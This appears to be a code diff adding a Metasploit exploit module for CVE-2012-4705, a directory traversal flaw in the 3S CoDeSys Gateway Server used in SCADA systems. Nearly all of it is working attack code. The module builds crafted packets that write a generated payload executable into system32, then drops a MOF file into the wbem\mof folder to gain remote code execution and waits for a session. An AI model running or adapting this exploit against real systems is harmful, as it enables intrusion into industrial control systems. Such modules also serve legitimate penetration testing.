|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + include Msf::Exploit::Remote::Tcp |
| 16 | + include Msf::Exploit::WbemExec |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', |
| 21 | + 'Description' => %q{ |
| 22 | + This module exploits a directory traversal vulnerability that allows arbitrary |
| 23 | + file creation, which can be used to execute a mof file in order to gain remote |
| 24 | + execution within the SCADA system. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Enrique Sanchez <esanchez[at]accuvant.com>' |
| 29 | + ], |
| 30 | + 'License' => 'MSF_LICENSE', |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2012-4705'], |
| 34 | + ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf'] |
| 35 | + ], |
| 36 | + 'DisclosureDate' => 'Feb 02 2013', |
| 37 | + 'Platform' => 'win', |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] |
| 41 | + ], |
| 42 | + 'DefaultTarget' => 0)) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + Opt::RPORT(1211), |
| 47 | + ], self.class) |
| 48 | + end |
| 49 | + |
| 50 | + ## |
| 51 | + # upload_file(remote_filepath, remote_filename, local_filedata) |
| 52 | + # |
| 53 | + # remote_filepath: Remote filepath where the file will be uploaded |
| 54 | + # remote_filename: Remote name of the file to be executed ie. boot.ini |
| 55 | + # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() |
| 56 | + def upload_file(remote_filepath, remote_filename, local_filedata = null) |
| 57 | + magic_code = "\xdd\xdd" |
| 58 | + opcode = [6].pack('L') |
| 59 | + |
| 60 | + # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof! |
| 61 | + file = "..\\..\\" << remote_filepath << remote_filename << "\x00" |
| 62 | + #print_debug("File to upload: #{file}") |
| 63 | + pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4 |
| 64 | + #print_debug(pkt_size) |
| 65 | + |
| 66 | + # Magic_code + packing + size |
| 67 | + pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L') |
| 68 | + |
| 69 | + tmp_pkt = opcode << file |
| 70 | + tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata |
| 71 | + pkt << tmp_pkt |
| 72 | + |
| 73 | + print_status("Starting upload of file #{remote_filename}") |
| 74 | + connect |
| 75 | + sock.put(pkt) |
| 76 | + disconnect |
| 77 | + |
| 78 | + print_status("File uploaded") |
| 79 | + end |
| 80 | + |
| 81 | + def exploit |
| 82 | + print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}") |
| 83 | + |
| 84 | + # We create an exe payload, we have to get remote execution in 2 steps |
| 85 | + exe = generate_payload_exe |
| 86 | + exe_name = Rex::Text::rand_text_alpha(8) + ".exe" |
| 87 | + upload_file("windows\\system32\\", exe_name, exe) |
| 88 | + |
| 89 | + # We create the mof file and upload (second step) |
| 90 | + mof_name = Rex::Text::rand_text_alpha(8) + ".mof" |
| 91 | + mof = generate_mof(mof_name, exe_name) |
| 92 | + upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof) |
| 93 | + |
| 94 | + print_status("Everything is ready, waiting for a session ... ") |
| 95 | + handler |
| 96 | + |
| 97 | + #Taken from the spooler exploit writen byt jduck and HDMoore |
| 98 | + cnt = 1 |
| 99 | + while session_created? == false and cnt < 25 |
| 100 | + ::IO.select(nil, nil, nil, 0.25) |
| 101 | + cnt += 1 |
| 102 | + end |
| 103 | + end |
| 104 | +end |
0 commit comments